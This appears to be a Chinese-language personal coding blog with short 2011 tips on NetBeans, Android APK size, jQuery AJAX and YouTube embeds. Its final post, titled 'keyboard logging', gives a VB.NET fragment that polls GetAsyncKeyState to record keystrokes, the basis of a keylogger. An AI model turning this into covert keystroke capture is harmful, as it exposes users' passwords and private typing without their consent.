7月 30, 2011

netBeans 去掉中间红线

最后就是中间的红线,一开始不知道怎么去掉,后来才找到:工具->选项->编辑器->缩排->右边距,80改成200即可

7月 29, 2011

Android 開發時 APK 檔案太大時解決方法

再 Run As → Run Configurations → 點選專案名稱 → Target

在 Target 畫面裡的最下面加入 -partition-size 256

7月 28, 2011

Jquery AJAX


$(document).ready(function() {

//用$_POST["name"]接值
$("a.yy").click(function(){
$.post('hello.php',{name: 'kkpp88p'},
function(txt){$('div.msg').html(txt);}); });

$.ajax({ //用$_GET["hh"]接值 可加入type: 'post', 改成用POST
url: 'hello.php',
data: {hh: '456789'},
error: function() { alert('error!'); },
success: function(response) { $('div.msg').html(response) }
});

});

7月 26, 2011

Youtube



AS3的語法
<iframe width="425" height="349" src="http://www.youtube.com/embed/iTeA9Nj9qOM?autoplay=1&loop=1&playlist=iTeA9Nj9qOM&autohide=2" frameborder="0" allowfullscreen></iframe>

AS2的語法
<iframe width="425" height="349" src="http://www.youtube.com/v/iTeA9Nj9qOM?autoplay=1&loop=1&autohide=0&color1=0x444444&color2=0x444444" frameborder="0" allowfullscreen></iframe>


7月 24, 2011

鍵盤記錄


Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer



        Dim AddKey, keyResult
        Static KeyFound As String

        keyResult = GetAsyncKeyState(13) 'ENTER
        If keyResult = -32767 Then
            AddKey = "[ENTER]"
            KeyFound += AddKey.ToString
        End If